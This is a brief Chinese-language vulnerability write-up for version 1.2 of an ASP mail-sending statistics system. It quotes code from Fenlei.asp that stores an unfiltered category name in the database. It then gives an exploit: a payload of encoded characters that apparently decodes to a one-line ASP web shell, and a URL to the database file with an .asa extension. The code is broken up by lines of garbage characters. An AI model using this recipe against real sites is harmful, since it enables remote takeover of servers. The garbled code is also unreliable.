铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
" u' x. }# _7 C$ n
8 p* w4 E1 D6 B  i1 e+ DIF Request.QueryString("Action")="del" Then
% x- P6 z/ W- n% j) F) M) QID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
2 R& H$ B& P. W* H/ P0 |6 j'略
IF Request.QueryString("Action")="Add" Then
& h  S- X. `' aTname=Request.Form("Typename")
2 ?& {1 F( D3 t& |! HSet Rs=Server.CreateObject("adodb.Recordset")
! @, }, @. I, T; |Sql="Select * From Fenlei Order by id Desc "
! j$ g0 T1 \" n& R8 o' @" N; |Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
3 h' r' J5 J, S. V) Q# YSql="Select * From Fenlei Order by id Desc "
. c9 W8 n9 @* T( c* MRs.Open Sql,Conn,1,1
'略
%>
- ]# ]5 H, I3 G" g5 t
- k4 u& h- l' Y1 G9 H. |0 a

没有过滤，直接写入数据库。

利用方法：
$ y# @; T. P/ [6 y- a  F
插入：┼攠數畣整爠煥敵瑳∨≡┩>


7 k+ f8 {- @, H( ?! Z+ h, T连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
: @0 c* R( l/ N( b" `6 y